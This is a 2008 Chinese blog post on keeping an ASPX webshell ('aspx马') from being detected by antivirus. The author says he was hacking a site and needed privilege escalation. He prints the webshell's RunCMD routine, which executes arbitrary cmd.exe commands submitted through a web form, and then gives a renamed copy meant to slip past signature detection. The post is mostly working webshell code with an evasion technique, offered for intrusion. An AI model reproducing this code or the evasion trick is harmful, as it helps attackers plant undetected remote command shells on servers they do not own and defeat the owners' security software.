数据加载中……


 

 登   陆

我的分类(专题)
数据加载中……

链接

Blog信息
数据加载中……

 



aspx马免杀小技巧
樱木花盗 发表于 2008-1-25 21:14:57

今天看到华夏BLOG被X了。。。顺着留着的地址去看了。。。
有篇文章转过来。。。唉,我还是太菜

今天黑站的时候,经常用的aspx马怎么也上传不了,断定是被杀了。

要提权就得用aspx马,怎么办呢?网上找不到免杀的马。无赖之下,只有找出马中的特征码。

尝试了好久。终于找到了。LOOK:

Sub RunCMD(Src As Object, E As EventArgs)
 Dim myProcess As New Process()
 Dim myProcessStartInfo As New ProcessStartInfo(cmdPath.Text)
 myProcessStartInfo.UseShellExecute = False
 myProcessStartInfo.RedirectStandardOutput = true
 myProcess.StartInfo = myProcessStartInfo
 myProcessStartInfo.Arguments="/c " & Cmd.text
 myProcess.Start()
 Dim myStreamReader As StreamReader = myProcess.StandardOutput
 Dim myString As String = myStreamReader.Readtoend()
 myProcess.Close()
 mystring=replace(mystring,">","<")
 mystring=replace(mystring,"<","&gt;")
 result.text="Command = " & Cmd.text & vbcrlf & "<ul class='td3'><pre>" & mystring & "</pre></ul>"
 Cmd.text=""
End Sub

就是这段代码被定义了。准确的说是其中的myProcessStartInfo.RedirectStandardOutput = true这句有问题。

可是要提权就要用到cmd.net ,删了还是不行。我的解决方法是把myProcess替换,比如上面代码可以替换成:

Sub RunCMD(Src As Object, E As EventArgs)
 Dim myRedzz As New Process()
 Dim myRedzzStartInfo As New ProcessStartInfo(cmdPath.Text)
 myRedzzStartInfo.UseShellExecute = False
 myRedzzStartInfo.RedirectStandardOutput = true
 myRedzz.StartInfo = myRedzzStartInfo
 myRedzzStartInfo.Arguments="/c " & Cmd.text
 myRedzz.Start()
 Dim myStreamReader As StreamReader = myRedzz.StandardOutput
 Dim myString As String = myStreamReader.Readtoend()
 myRedzz.Close()
 mystring=replace(mystring,">","&lt;")
 mystring=replace(mystring,"<","&gt;")
 result.text="Command = " & Cmd.text & vbcrlf & "<ul class='td3'><pre>" & mystring & "</pre></ul>"
 Cmd.text=""
End Sub

其中把myProcess替换成myRedzz,这样就达到了免杀效果。

可是不是说就绝对免杀了。任何杀毒软件都有不同,需要不断尝试和探索。


阅读全文 | 回复(0) | 引用通告 | 编辑
 


发表评论:

    昵称:
    密码: (游客无须输入密码)
    主页:
    标题:
    数据加载中……


Powered by Oblog.